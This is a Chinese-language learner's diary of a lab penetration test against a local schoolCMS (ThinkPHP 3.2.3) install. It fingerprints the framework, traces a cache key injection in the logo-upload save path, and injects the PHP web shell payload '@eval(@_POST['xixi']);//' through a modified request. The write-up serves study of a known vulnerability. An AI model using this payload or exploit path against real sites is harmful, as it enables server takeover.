一週後,終於能夠學習到可愛的滲透了哈哈哈。除了大哥給的CMS(其實能夠算是隻是在文件上傳的時候瞭解一下),可是對於一個CMS完整的滲透思路,我仍是不懂。首先感謝章老師給個人CMS源碼哈哈哈,在個人日記裏祝章老師愈來愈大佬哈哈。php
0x01 前言thinkphp
首先看一下別人博客的思路:https://blog.csdn.net/hibari_18/article/details/75029421shell
本身捋一遍思路,CMS:「內容管理系統」,來有效解決用戶網站建設與信息發佈中常見的問題和需求。對網站內容管理是該軟件的最大優點,它流程完善、功能豐富,可把稿件分門別類並受權給合法用戶編輯管理,而不須要用戶去理會那些難懂的SQL語法。緩存
滲透思路:判斷CMS類型---根據類型搜索敏感信息(固然這裏已經有登陸帳號和密碼了)---getshell exp ---自我發揮服務器
0x02 第一步準備階段(基本信息)框架
一 判斷CMS類型函數
1.首先咱們應該瞭解常見的CMS類型有哪些,我就比較憨厚了,只知道discuz這一種(齜牙),因此請無時無刻抓緊學習。。。學習
方法以下:https://blog.csdn.net/qq1124794084/article/details/79218596網站
在這裏,咱們經過版權信息看到類型爲:schoolCMS (注意:在有些時候打開網頁的時候顯示的後臺登錄,可是若是換一臺電腦,呈現出來的多是網站的首頁。。或者兩者之間交換。。)ui
2.收集schoolCMS的相關信息:框架(及框架版本)、該框架可能存在什麼漏洞。。而後發現schoolCMS獲得
其官網:
框架爲:thinkphp,版本號爲3.2.3
3.搜索該版本的漏洞。發現小於thinkPHP3.2.3有漏洞一大堆。。。。
二 收集敏感信息
因爲這裏只是一個實驗,,我就不作密碼猜解了。。。(稍後回來試試)
三 開始實驗
1. 登陸後臺之後,發如今表格那裏能夠上傳,表格能夠與ASP文件合成上傳嗎??試一下。。
2.在後臺管理頁面--站點管理--能夠上傳主頁logo
總結滲透第一步:收集資料,這個框架漏洞,經過報錯來看(這裏截圖是另一個演示)。
0x03 漏洞分析
1.得知框架是thinkPHP3.2,查看其漏洞文件:
D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\common\common\funtion.php中的MyConfigInit()方法
*這裏瞭解到common文件夾:共享資源文件夾,不少軟件須要調用裏面的文件
2.打開網址:http://127.0.0.1/schoolcms/schoolcms/admin.php?m=admin&c=site&a=index
發現這裏能夠上傳,找到其分析文件
D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\Admin\Controller\SiteController.php的save方法
而後分析代碼,在最後的save方法裏面,將全部的用戶進行校驗並更新:
跟進那個save方法,跟進路徑:
D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\Admin\Controller\CommonController.class.php這裏面有個key函數
繼續跟進這個S()方法的key函數,章老師說這裏有個鍵注入。。我真的真的瞭解不清楚了哈哈哈
這個函數我是真的沒有找到。。。不知道路徑。。。
而後大佬的文檔裏面說:
D:\PHPstudy\PHPTutorial\WWW\SchoolCMS\schoolcms\Application\Runtime\Temp
這裏就是緩存的咱們上傳的文件,上傳一次更新一次,點進去發現可【這裏轉換爲php的原理是什麼呢??】
而後咱們將咱們的payload放進去:@eval(@_POST['xixi']);//
0x04 漏洞利用
咱們直接訪問上傳logo的頁面,而後抓包-->改包(改包就是將咱們的變量裏面加入shell);
再查看服務器緩存文件:
發現shell已寫入:
而後訪問URL:
OK!